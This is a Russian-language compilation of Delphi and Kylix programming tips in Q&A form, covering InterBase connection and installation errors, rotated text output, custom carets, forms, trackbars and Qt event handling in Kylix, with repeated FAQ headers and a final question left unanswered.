Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Не могу подсоединиться к IB из под web-сервера IIS, Netscape, Baikonur и др.

Если вы обращаетесь к IB из IIS, Baikonur и т.п. Web-серверов, то нужно использовать строку коннекта как для удаленного сервера, т.к. локальное подсоединение работать не будет. Например, 'server:c:\dir\data.gdb' или '\\server\c:\data.gdb'.

©Drkb::02893.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Ошибка при установке Internal error near IBcheck.

Эта ошибка вызвана порчей ключа registry инсталлятором Delphi 4. Исправить ее можно, запустив RegEdit и проверив ключ HK_CURRENT_USER/Environment. Значение PATH должно быть строкового типа. Если это не так, то PATH надо поменять (или пересоздать) на строковое значение.

©Drkb::02921.

Borland Interbase / Firebird FAQ.

Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999.

Последняя редакция от 17 ноября 1999 года.

Часто задаваемые вопросы и ответы по Borland Interbase / Firebird.

Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies).

Материал не является официальной информацией компании Borland.

E-mail mailto:delphi@demo.ru.

Www: http://www.ibase.ru/

Телефоны: 953-13-34.

Источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.

Составитель: Дмитрий Кузьменко.

Как выдать текст под наклоном?

Чтобы вывести под любым углом текст необходимо использовать TrueType Fonts (например "Arial"). Например:

Code: Var. LogFont : TLogFont; ... GetObject(Canvas.Font.Handle, SizeOf(TLogFont), @LogFont); { Вывести текст 1/10 градуса против часовой стрелки }. LogFont.lfEscapement := Angle*10; Canvas.Font.Handle := CreateFontIndirect(LogFont);

©Drkb::01937.

Code: { Эта процедура устанавливает угол вывода текста. Для указанного Canvas, угол в градусах. Шрифт должен быть TrueType }. Procedure CanvasSetTextAngle(c: TCanvas; d: single); Var. LogRec: TLOGFONT; { Информация о шрифте }. Begin. {Читаем текущюю инф. о шрифте }. GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) ); { Изменяем угол }. LogRec.lfEscapement := round(d*10); { Устанавливаем новые параметры }. C.Font.Handle := CreateFontIndirect(LogRec); End;

©Drkb::01938.

Code: Procedure TextOutAngle(x,y,aAngle,aSize: integer; txt: string); Var. HFont, Fontold: integer; DC: hdc; Fontname: string; Begin. If length(txt) = 0 then. Exit; DC:= Screen.ActiveForm.Canvas.handle; SetBkMode(DC, transparent); Fontname:= Screen.ActiveForm.Canvas.Font.name; HFont:= CreateFont(-aSize,0, aAngle*10,0, fw_normal,0, 0, 0,1,4,$10,2,4,PChar(Fontname)); Fontold:= SelectObject(DC, hFont); TextOut(DC,x,y,PChar(txt), length(txt)); SelectObject(DC, Fontold); DeleteObject(hFont); End;

©Drkb::01939.

Пример демонстрирует вывод теста случайным образом на форме под определённым углом. Добавляем в форму компонент TButton и в событие OnClick следующий код:

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Logfont: TLogFont; Font: Thandle; Count: integer; Begin. LogFont.lfheight := 20; Logfont.lfwidth := 20; Logfont.lfweight := 750; LogFont.lfEscapement := -200; Logfont.lfcharset := 1; Logfont.lfoutprecision := out_tt_precis; Logfont.lfquality := draft_quality; Logfont.lfpitchandfamily := FF_Modern; Font := createfontindirect(logfont); SelectObject(Form1.canvas.handle, font); SetTextColor(Form1.canvas.handle, rgb(0, 0, 200)); SetBKmode(Form1.canvas.handle, transparent); For count := 1 to 10 do. Begin. Canvas.TextOut(Random(form1.width), Random(form1.height), 'Delphi World'); SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255), Random(255))); End; DeleteObject(font); End;

©Drkb::01940.

Code: {Create a rotated font based on the font object F}. Function CreateRotatedFont(F : TFont; Angle : Integer) : hFont; Var. LF: TLogFont; Begin. FillChar(LF, SizeOf(LF), #0); With LF do. Begin. LfHeight := F.Height; LfWidth := 0; LfEscapement := Angle*10; LfOrientation := 0; If fsBold in F.Style then. LfWeight := FW_BOLD. Else. LfWeight := FW_NORMAL; LfItalic := Byte(fsItalic in F.Style); LfUnderline := Byte(fsUnderline in F.Style); LfStrikeOut := Byte(fsStrikeOut in F.Style); LfCharSet := DEFAULT_CHARSET; StrPCopy(lfFaceName, F.name); LfQuality := DEFAULT_QUALITY; {everything else as default}. LfOutPrecision := OUT_DEFAULT_PRECIS; LfClipPrecision := CLIP_DEFAULT_PRECIS; Case F.Pitch of. FpVariable: lfPitchAndFamily := VARIABLE_PITCH; FpFixed: lfPitchAndFamily := FIXED_PITCH; Else. LfPitchAndFamily := DEFAULT_PITCH; End; End; Result := CreateFontIndirect(LF); End; ... {create the rotated font}. If FontAngle <> 0 then. Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle); ...

Как создать и вызвать модальную форму?

Code: ModalForm := TModalForm.Create(Self); Try. ModalForm.ShowModal; Finally. ModalForm.Free; End;

Как вывести главное окно справочной системы?

В 16-битных версиях справочной системы необходимо было вызывать начальное (главное) окно помощи с параметром HELP_CONTENTS в комманде HelpCommand. В 32-битном варианте это осуществляется следующим образом:

Application.HelpCommand(HELP_FINDER, 0);

Примечание : Для того, чтобы показывались "книжки" (или главные темы) - необходимо создать .CNT-файл.

©Drkb::04549.

Как вызвать подсказку к подсказке?

В Delphi-приложении можно вызвать помощь в пользовании системой помощи следующим образом:

Application.HelpCommand(Help_HelpOnHelp, 0);

©Drkb::04550.

Взаимодействие с системой: Linux API и Qt library.

Автор: Андрей Боровский (www.kylixportal.chat.ru)

В процессе разработки приложений в средах Delphi и Kylix время от времени возникает необходимость в обращении непосредственно к прикладному интерфейсу системы. Это происходит по двум причинам: во-первых, несмотря на широчайший выбор компонентов, библиотека VCL/CLX не в состоянии охватить все возможности, предоставляемые операционной системой. Во-вторых, даже в том случае, когда среда разработки предоставляет готовый компонент, обладающий соответствующей функциональностью, в целях повышения быстродействия имеет смысл использовать системные функции, лежащие в основе компонента.

В Delphi интерфейсы большинства системных функций определены в библиотеках времени выполнения (run-time libraries), а для упрощения реализации недостающих интерфейсов в язык Object Pascal введены элементы, облегчающие "перевод" деклараций функций и объектов с С++ на Object Pascal и взаимодействие с системными библиотеками. Фактически, можно утверждать, что интерфейс Win32 API полностью доступен в Delphi.

Разработчики Kylix также постарались сделать интерфейс системы Linux максимально доступным в среде Object Pascal. Однако, при программировании в Kylix, непосредственное взаимодействие с системой осуществляется несколько сложнее, чем в Delphi и Windows.

Прежде всего, следует учесть, что Linux не так "монолитна", как Windows. То, что мы дальше будем называть "интерфейсом системы" состоит из нескольких независимых друг от друга частей. В Linux графическая подсистема отделена от остальной операционной системы и в принципе эта 32-х разрядная многозадачная ОС может использоваться вообще без графического интерфейса. У такого подхода есть свои преимущества: при решении ресурсоемких задач вся мощность процессора может быть брошена на выполнение полезной работы, а не затрачиваться на перерисовку окон. Кроме того приложениям с текстовым интерфейсом присуща большая стабильность. Работа с графикой в Linux осуществляется на основе сервера XFree86. Эта графическая подсистема предоставляет в распоряжение программиста интерфейсы для выполнения базовых операций, необходимых для построения графического интерфейса пользователя и вывода графической информации. При решении большинства задач у программиста не возникает необходимости писать код, взаимодействующий непосредственно с XFree86. Дело в том, что над XFree86 существует несколько "надстроек", облегчающих работу с графикой и построение пользовательского интерфейса. Одной из таких надстроек является библиотека Qt library, на базе которой реализована графическая оболочка KDE. Qt library является также основой набора компонентов VisualCLX, - аналога VCL для Kylix. Следует отметить, что библиотека Qt реализована не только на Linux. Существуют версии Qt для Mac OS, Solaris и даже для Windows. Ожидается, что поддержка Qt будет введена в Delphi 6.0, что в свою очередь еще больше упростит перенос приложений между Kylix и Delphi.

В Kylix большая часть системных функций Linux инкапсулирована в модулях System, SysUtils и т. д., а большинство возможностей Qt library реализовано в наборе компонентов VisualCLX. Кроме этого Kylix предоставляет программисту возможность непосредственной работы как с интерфейсами Linux, так и с классами библиотеки Qt. Далее мы рассмотрим эти возможности подробнее.

Kylix и Linux API.

Импортирование функций Linux API осуществляется достаточно просто и очень похоже на импортирование функций из Windows DLL. В Linux аналогом DLL являются разделяемые библиотеки (shared object files, so files). Обычно имена файлов разделяемых библиотек включают расширение .so. Не следует путать эти файлы с файлами объектного кода. Модули времени выполнения Kylix импортируют многие функции Linux API. Например, модуль Libc импортирует функции glibc - GNU C library. Между именами функций glibc и их декларациями в Libc существует четкое соответствие, так что для изучения функций модуля Libc можно воспользоваться документацией по glibc и страницами man. Между прочим, если в окне редактора кода поместить курсор на имя glibc функции и нажать F1, будет открыто не окно справки Kylix, а соответствующая man-страница.

Рассмотрим, например, glibc функцию fork, которая создает в системе новый процесс, являющийся точной копией того процесса, из которого вызвана эта функция. В glibc данная функция определена следующим образом:

Pid_t fork (void);

В модуле Libc декларация этой функции выглядит так:

Function fork: __pid_t; cdecl;

Обратите внимание на указание формата вызова cdecl. Этот формат используется по умолчанию для вызова системных функций Linux, также как в Delphi для вызова функций Win32 API используется stdcall.

Вы сами можете импортировать функции из разделяемых библиотек. В следующем примере осуществляется импортирование функции vga_setmode из библиотеки VGAlib (разделяемый файл libvga.so). В заголовке библиотеки, написанной на С, эта функция объявляется как.

Int vga_setmode (int mode);

В модуле Kylix пишем:

Code: … Interface. Function SetVGAMode (Mode: Integer) : Integer; cdecl; … Implementation. Function SetVGAMode; external 'libvga.so' name 'vga_setmode'; …

Как проверять корректность доступа к базе данных?

Следующая функция проверяет доступ к базе данных и выдает возможные причины, если доступ не удается осуществить. Функция возвращает значение True в случае успешной операции и False в противном случае.

Code: Function TBDEDirect.CheckDatabase: Boolean; Var DS: TDataSource; Begin. Result := False; DS := GetDataSource; If DS = nil then. Begin. MessageDlg('Не установлена связь с элементом-источником данных.'+ 'Проверьте установку свойства DataSource.', MtError, [mbOK], 0); Exit; End; If DS.DataSet = nil then. Begin. MessageDlg('Доступ к базе данных невозможен.', mtError,[mbOK], 0); Exit; End; If TDBDataSet(DS.DataSet).Database = nil then. Begin. MessageDlg('Доступ к базе данных невозможен.', mtError,[mbOK], 0); Exit; End; If TDBDataSet(DS.DataSet).Database.Handle = nil then. Begin. MessageDlg('Дескриптор (Handle) БД недоступен.', mtError,[mbOK], 0); Exit; End; If DS.DataSet.Handle = nil then. Begin. MessageDlg('Дескриптор курсора (Cursor-Handle) недоступен.', mtError, mbOK], 0); Exit; End; Result := True; End;

Как узнать количество цветов в системной палитре?

Code: Function GetNumColors: LongInt; Var. BPP: Integer; DC: HDC; Begin. DC := CreateDC('DISPLAY', nil, nil, nil); If DC <> 0 then. Begin. Try. BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES); Finally. DeleteDC(DC); End; Case BPP of. 1: Result := 2; 4: Result := 16; 8: Result := 256; 15: Result := 32768; 16: Result := 65536; 24: Result := 16777216; End; End. Else. Result := 0; End;

©Drkb::01457.

Как различаются между собой Paint-события: Invalidate, Update и Refresh?

Invalidate весь объект перерисовывается заново; обычно перерисовывается только часть бывшая перед этим закрытой.

Update незамедлительная перерисовка.

Refresh Invalidate + Update.

©Drkb::00347.

Системные сообщения (сокращения).

BM - ButtonMode.

BN - Button.

BS - ButtonStyle.

CB - ComboBox.

CBN - Combo Box Notifications.

CBS - ComboBoxStyle.

EM - EditMessage.

ES - EditStyle.

FM - FileManager.

LB - ListBox.

LBN - ListBox Notifications.

LBS - ListBoxStyle.

MB - MessageButton (Typen).

PS - PenStyle.

SB - ScrollBar.

SBS - ScrollBarStyle.

SM - SystemMetrics.

SPI - SystemParametersInfo.

WM - WindowMessage.

WS - WindowStyle.

©Drkb::02313.

Можно ли изменить число колонок и их ширину в компоненте TFileListBox?

В приведенном примере FileListBox приводится к типу TDirectoryListBox - таким образом можно добавиь дополнительные колонки.

Code: With TDirectoryListBox(FileListBox1) do. Begin. Columns := 2; SendMessage(Handle, LB_SETCOLUMNWIDTH, Canvas.TextWidth('WWWWWWWW.WWW'),0); End;

Можно ли изменить вид текстового курсора (каретки) еdit'а или другого элемента?

Можно! В примере показано как создать два цветных "bitmар'а": "улыбчивый" и "хмурый" и присвоить их курсору еdit'а. Для этого нужно перехватить оконную процедуру еdit'а. Чтобы сделать это заменим адрес оконной процедуры Еdit'а нашим собственным, а старую оконную процедуру будем вызывать по необходимости. Пример показывает "улыбчивый" курсор при наборе текста и "хмурый" при забое клавишей backspace.

Code: Unit caret1; Interface. {$IFDEF WIN32}. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; {$ELSE}. Uses. WinTypes, WinProcs, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; {$ENDIF}. Type. TForm1 = class(TForm). Edit1: TEdit; Procedure FormCreate(Sender: TObject); Procedure FormDestroy(Sender: TObject); Private. {Private declarations}. Public. {Public declarations}. CaretBm: TBitmap; CaretBmBk: TBitmap; OldEditsWindowProc: Pointer; End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Type. {$IFDEF WIN32}. WParameter = LongInt; {$ELSE}. WParameter = Word; {$ENDIF}. LParameter = LongInt; {New windows procedure for the edit control}. Function NewWindowProc(WindowHandle: hWnd; TheMessage: WParameter; ParamW: WParameter; ParamL: LParameter): LongInt. {$IFDEF WIN32} stdcall; {$ELSE}; export; {$ENDIF}. Begin. {Call the old edit controls windows procedure}. NewWindowProc := CallWindowProc(Form1.OldEditsWindowProc, WindowHandle, TheMessage, ParamW, ParamL); If TheMessage = WM_SETFOCUS then. Begin. CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0); ShowCaret(WindowHandle); End; If TheMessage = WM_KILLFOCUS then. Begin. HideCaret(WindowHandle); DestroyCaret; End; If TheMessage = WM_KEYDOWN then. Begin. If ParamW = VK_BACK then. CreateCaret(WindowHandle, Form1.CaretBmBk.Handle, 0, 0). Else. CreateCaret(WindowHandle, Form1.CaretBm.Handle, 0, 0); ShowCaret(WindowHandle); End; End; Procedure TForm1.FormCreate(Sender: TObject); Begin. {Create a smiling bitmap using the wingdings font}. CaretBm := TBitmap.Create; CaretBm.Canvas.Font.Name := 'WingDings'; CaretBm.Canvas.Font.Height := Edit1.Font.Height; CaretBm.Canvas.Font.Color := clWhite; CaretBm.Width := CaretBm.Canvas.TextWidth('J') + 2; CaretBm.Height := CaretBm.Canvas.TextHeight('J') + 2; CaretBm.Canvas.Brush.Color := clBlue; CaretBm.Canvas.FillRect(Rect(0, 0, CaretBm.Width, CaretBm.Height)); CaretBm.Canvas.TextOut(1, 1, 'J'); {Create a frowming bitmap using the wingdings font}. CaretBmBk := TBitmap.Create; CaretBmBk.Canvas.Font.Name := 'WingDings'; CaretBmBk.Canvas.Font.Height := Edit1.Font.Height; CaretBmBk.Canvas.Font.Color := clWhite; CaretBmBk.Width := CaretBmBk.Canvas.TextWidth('L') + 2; CaretBmBk.Height := CaretBmBk.Canvas.TextHeight('L') + 2; CaretBmBk.Canvas.Brush.Color := clBlue; CaretBmBk.Canvas.FillRect(Rect(0, 0, CaretBmBk.Width, CaretBmBk.Height)); CaretBmBk.Canvas.TextOut(1, 1, 'L'); {Hook the edit controls window procedure}. OldEditsWindowProc := Pointer(SetWindowLong(Edit1.Handle, GWL_WNDPROC, LongInt(@NewWindowProc))); End; Procedure TForm1.FormDestroy(Sender: TObject); Begin. {Unhook the edit controls window procedure and clean up}. SetWindowLong(Edit1.Handle, GWL_WNDPROC, LongInt(OldEditsWindowProc)); CaretBm.Free; CaretBmBk.Free; End;

©Drkb::02338.

Code: { The example below demonstrates creating custom caret: } Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; Type. TForm1 = class(TForm). Memo1: TMemo; Image1: TImage; Edit1: TEdit; Procedure Memo1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Procedure Edit1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.Memo1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. CreateCaret(Memo1.Handle, Image1.Picture.Bitmap.Handle, 0, 0); ShowCaret(Memo1.Handle); End; Procedure TForm1.Edit1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. CreateCaret(Edit1.Handle, 0, 10, 4); ShowCaret(Edit1.Handle); End; End.

При использовании BDE, попытка вызвать abort выдает ошибку компиляции.

При использовании модулей доступа к BDE (DbiTypes, DbiProcs, DbiErrs), любая попытка вызвать процедуру abort выдает ошибку при компиляции при вызове метода abort "Statement expected, but expression of type 'Integer' found". Я пытался найти DbiTypes.pas, DbiProcs.pas и DbiErrs.pas чтобы разобраться но не нашел этих файлов. Где расположены эти файлы и как обойти ошибку?

Модули DbiTypes, DbiProcs, DbiErrs это псевдонимы модуля "BDE", обьявлены в Projects->Options->Directories/Conditionals->Unit Aliases. Исходник модуля DBE находится в каталоге "doc" и называется "BDE.INT". В этом файле обьявленна константа ABORT со значением -2. Так как Вы хотите использовать процедуру Abort(), которая обьявлена в модуле SysUtils, Вам нужно добавить префикс SysUtils перед вызовом процедуры Abort.

SysUtils.Abort;

©Drkb::02578.

Обработка событий Qt в Kylix-приложении.

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Что представляют собой события Qt?

Система Windows взаимодействует с приложениями посредством механизма сообщений, обработка которых осуществляется в оконной функции. В приложениях, созданных на основе Qt library, сообщения используются редко, а основным механизмом взаимодействия между приложениями и системой являются события. Концептуально события Qt очень похожи на события Kylix. В ответ на событие система вызывает обработчик, являющийся методом Qt-объекта. Каждому событию в Qt соответствует свой класс. Обработчику события передается ссылка на экзмпляр класса события, содержащий необходимую информацию о нем. Для того, чтобы определить собственный обработчик события для какого-либо Qt класса, следует создать производный класс этого класса и заместить (override) метод-обработчик соответствующего события. Однако средства Object Pascal не позволяют создавать производные классы Qt и замещать их методы, поэтому в Kylix реализован специальный механизм обработки событий.

События Qt и Kylix.

Прежде чем приступить к рассмотрению специальных методов обработки событий Qt в Kylix, необходимо отметить, что в большинстве случаев у программиста не возникает необходимости обращаться к этим методам. Для большинства событий Qt в объектной модели Kylix определены соответствующие события Kylix, и обработка этих событий может быть выполнена стандартными средствами Object Pascal. Тем не менее иногда возникает необходимость ввести в приложении обработку Qt событий, не определенных в VisualCLX. В CLXDisplay API предусмотрено несколько механизмов обработки таких событий. В этой статье будет рассмотрен один из них.

Как и в Delphi, в Kylix приложения строятся на основе класса TApplication. В Kylix в классе TApplication определено свойство OnEvent, позволяющее назначать приложению обработчик событий Qt. Обработчик OnEvent вызывается для каждого события каждого объекта Qt, являющегося дочерним объектом форм приложения, а также для других событий приложения.

Тип процедуры обработчика декларируется следующим образом:

Procedure (Sender: QObjectH; Event: QEventH; var Handled: Boolean) of object;

В параметре Sender передается ссылка на объект, который должен реагировать на событие. Параметр Event является указателем на объект события. Он позволяет идентифицировать событие и получить информацию о нем. Переменная Handled позволяет сообщить компоненту Visual CLX о том, следует ли вызывать обработчик события, определенный в компоненте.

Рассмотрим простой пример: допустим мы хотим, чтобы перерисовка окна компонента Label1 типа TLabel не выполнялась, если некоторой глобальной переменной NoRedraw типа Boolean присвоено значение True. для этого напишем следующую процедуру AppEventHandler:

Code: Uses Qt, ... ... Procedure TForm1.AppEventHandler(Sender: QObjectH; Event: QEventH; Var Handled: Boolean); Begin. Handled:=False; // Allow default event processing. If Sender=Label1.Handle then // Identify sending Qt object. If QEvent_isQPaintEvent(Event) then // Identify the Paint event. Handled:=NoRedraw; // Disable or enable default event processing. End; Procedure TForm1.FormCreate(Sender: TObject); Begin. ... Application.OnEvent:=AppEventHandler; End; Procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); Begin. ... Application.OnEvent:=nil; End;

Как сделать многострочную надпись на TBitBtn?

Выводите текст надписи непосредственно на "glyph" ТВitВtn'а.

Code: Procedure TForm1.FormCreate(Sender: TObject); Var. R: TRect; N: Integer; Buff: array[0..255] of Char; Begin. With BitBtn1 do. Begin. Caption := 'A really really long caption'; Glyph.Canvas.Font := Self.Font; Glyph.Width := Width - 6; Glyph.Height := Height - 6; R := Bounds(0, 0, Glyph.Width, 0); StrPCopy(Buff, Caption); Caption := ''; DrawText(Glyph.Canvas.Handle, Buff, StrLen(Buff), R, DT_CENTER or DT_WORDBREAK or DT_CALCRECT); OffsetRect(R, (Glyph.Width - R.Right) div 2, (Glyph.Height - R.Bottom) div 2); DrawText(Glyph.Canvas.Handle, Buff, StrLen(Buff), R, DT_CENTER or DT_WORDBREAK); End; End;

Можно ли динамически менять какая форма считается главной в приложении во время работы программы?

Можно, но только во время загрузки приложения. Чтобы сделать это выберите "View->Project Source" и измените код инициализации приложения, так что порядок создания форм зависил от какого-то условия.

Примечание: Вам придется редактировать этот код, если Вы добавите в приложение новые формы.

Code: Begin. Application.Initialize; If < какое - то условие > then. Begin. Application.CreateForm(TForm1, Form1); Application.CreateForm(TForm2, Form2); End. Else. Begin. Application.CreateForm(TForm2, Form2); Application.CreateForm(TForm1, Form1); End; End. Application.Run;

Можно ли отключить определенный элемент в RadioGroup?

В примере показано как получить доступ к отдельным элементам компонента TRadioGroup.

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. TRadioButton(RadioGroup1.Controls[1]).Enabled := False; End;

©Drkb::01315.

Почему методы рисования Delphi (например MoveTo и LineTo) рисуют на один пиксел короче?

Так работает большинство графических систем, включая Windows. Библиотека VCL просто передает вызовы в функции GDI. Если Вы хотите нарисовать линию с последним пикселом включительно просто добавте единицу к координатам.

©Drkb::03740.

Как опеделить состояние списка ComboBox, выпал/скрыт?

Пошлите ComboBox сообщение CB_GETDROPPEDSTATE.

Code: If SendMessage(ComboBox1.Handle, CB_GETDROPPEDSTATE, 0, 0) = 1 then. Begin {список ComboBox выпал}. End;

Как внести изменения в код VCL?

Примечание: внесение изменений в VCL не поддерживается Borland или Borland Developer Support.

-Но если Вы решили сделать это...

Изменения в код VCL никогда не должны вносится в секцию "interface" модуля - только в секцию "implimentation". Наиболее безопасный способ внести изменения в VCL - создать новый каталог названный "исправленный VCL". Скопируйте файл VCL который Вы хотите изменить в этот каталог. Внесите изменения (лучше прокомментировать их) в этот файл. Затем добавьте путь к Вашему каталогу "исправленный VCL" в самое начало "library path". Перезапустите Delphi/C++ Builder и перекомпилируйте Ваш проект. "library path" можно изменить в меню:

Delphi 1 : Options | Environment | Library.

Delphi 2 : Tools | Options | Library.

Delphi 3 : Tools | Environment Options | Library.

Delphi 4 : Tools | Environment Options | Library.

C++ Builder : Options | Environment | Library.

©Drkb::00109.

Можно ли создать форму, которая получает дополнительные параметры в методе Сгеаtе?

Просто замените конструктор Create класса Вашей формы.

Code: Unit Unit2; Interface. Uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; Type. TForm2 = class(TForm). Private. {Private declarations}. Public. Constructor CreateWithCaption(aOwner: TComponent; aCaption: string); {Public declarations}. End; Var. Form2: TForm2; Implementation. {$R *.DFM}. Constructor TForm2.CreateWithCaption(aOwner: TComponent; aCaption: string); Begin. Create(aOwner); Caption := aCaption; End; Uses Unit2; Procedure TForm1.Button1Click(Sender: TObject); Begin. Unit2.Form2 := Unit2.TForm2.CreateWithCaption(Application, 'My Caption'); Unit2.Form2.Show; End;

Как бы мне создать эдакий trackbar в котором вместо широкой белой полоски с ползунком была бы тонкая линия?

В примере создается компонент, унаследованный от TTrackbar который переопределяет метод CreateParams и убират флаг TBS_ENABLESELRANGE из Style. Константа TBS_ENABLESELRANGE обьявленна в модуле CommCtrl.

Code: Uses CommCtrl, ComCtrls; Type. TMyTrackBar = class(TTrackBar). Procedure CreateParams(var Params: TCreateParams); override; End; Procedure TMyTrackBar.CreateParams(var Params: TCreateParams); Begin. Inherited; Params.Style := Params.Style and not TBS_ENABLESELRANGE; End; Var. MyTrackbar: TMyTrackbar; Procedure TForm1.Button1Click(Sender: TObject); Begin. MyTrackBar := TMyTrackbar.Create(Form1); MyTrackbar.Parent := Form1; MyTrackbar.Left := 100; MyTrackbar.Top := 100; MyTrackbar.Width := 150; MyTrackbar.Height := 45; MyTrackBar.Visible := true; End;

©Drkb::01320.

Если прозрачная часть glурh'а становится видной...

В некоторых видео режимах прозрачная часть glурh'а стандартного TBitBtn становится видной. Как этого избежать?

В примере используется техника закраски прозрачной части glурh'а цветом кнопки на которой он находится - таким образом glyph кажется прозрачным.

Code: Function InitStdBitBtn(BitBtn: TBitBtn; kind: TBitBtnKind): bool; Var. Bm1: TBitmap; Bm2: TBitmap; Begin. Result := false; If Kind = bkCustom then. Exit; Bm1 := TBitmap.Create; Case Kind of. BkOK: Bm1.Handle := LoadBitmap(hInstance, 'BBOK'); BkCancel: Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL'); BkHelp: Bm1.Handle := LoadBitmap(hInstance, 'BBHELP'); BkYes: Bm1.Handle := LoadBitmap(hInstance, 'BBYES'); BkNo: Bm1.Handle := LoadBitmap(hInstance, 'BBNO'); BkClose: Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE'); BkAbort: Bm1.Handle := LoadBitmap(hInstance, 'BBABORT'); BkRetry: Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY'); BkIgnore: Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE'); BkAll: Bm1.Handle := LoadBitmap(hInstance, 'BBALL'); End; Bm2 := TBitmap.Create; Bm2.Width := Bm1.Width; Bm2.Height := Bm1.Height; Bm2.Canvas.Brush.Color := ClBtnFace; Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1, Rect(0, 0, Bm1.width, Bm1.Height), Bm1.canvas.pixels[0, 0]); Bm1.Free; LockWindowUpdate(BitBtn.Parent.Handle); BitBtn.Kind := kind; BitBtn.Glyph.Assign(bm2); LockWindowUpdate(0); Bm2.Free; Result := true; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. InitStdBitBtn(BitBtn1, bkOk); End;

Создание PolyPolygon используя массив точек?

Polygon - метод компонента TCanvas получает в качестве параметра динамический массив точек. Функция PolyPolygon() из Windows GDI получает указатель на массив точек.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. PtArray: array[0..9] of TPOINT; PtCounts: array[0..1] of integer; Begin. PtArray[0] := Point(0, 0); PtArray[1] := Point(0, 100); PtArray[2] := Point(100, 100); PtArray[3] := Point(100, 0); PtArray[4] := Point(0, 0); PtCounts[0] := 5; PtArray[5] := Point(25, 25); PtArray[6] := Point(25, 75); PtArray[7] := Point(75, 75); PtArray[8] := Point(75, 25); PtArray[9] := Point(25, 25); PtCounts[1] := 5; PolyPolygon(Form1.Canvas.Handle,PtArray, PtCounts, 2); End;

Перехватчики событий, сигналы и слоты.

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Перехватчики событий.

В предыдущей статье была рассмотрена обработка событий Qt в обработчике события OnEvent Kylix класса TApplication. В этой статье будет показан другой метод обработки событий Qt - использование перехватчиков событий (event hooks). Перехватчики событий подобны обработчику события OnEvent, с той разницей, что перехватчики событий позволяют подойти к обработке событий более дифференцировано. Перехватчики назначаются для отдельных объектов Qt, причем каждому объекту может быть назначено несколько перехватчиков для обработки разных типов событий.

Перехватчик может быть процедурой или функцией, являющейся методом объекта Object Pascal и использующей формат вызова cdecl. Для того, чтобы назначить перехватчик какому-либо экземпляру класса Qt, необходимо создать экземпляр класса перехватчика для данного объекта Qt и связать его с методом-обработчиком. Функции, позволяющие сделать это, как и другие функции CLXDisplay API, декларируются в модуле Qt (файл Qt.pas).

В предыдущей статье было писано демонстрационное приложение, позволяющее перемещать фрагменты текста методом Drag and Drop. Теперь мы перепишем это приложение, используя перехватчики событий. Перехватчик назначается компоненту TLabel в конструкторе главной формы. Ниже приводятся декларация класса и исходный текст конструктора.

Code: TForm1 = class(TForm). Label1: TLabel; Procedure FormClose(Sender: TObject; var Action: TCloseAction); Procedure FormCreate(Sender: TObject); Procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); Private. { Private declarations }. Public. { Public declarations }. DropHook : QEvent_hookH; Function EventHandler(Handle : QObjectH; e : QEventH) : Boolean; cdecl; End; ... Procedure TForm1.FormCreate(Sender: TObject); Var. M : TMethod; Begin. DropHook:=QEvent_hook_create(Label1.Handle); EventFunc(M):=EventHandler; Qt_hook_hook_events(DropHook, M); End;

Как узнать есть ли у мыши колесико?

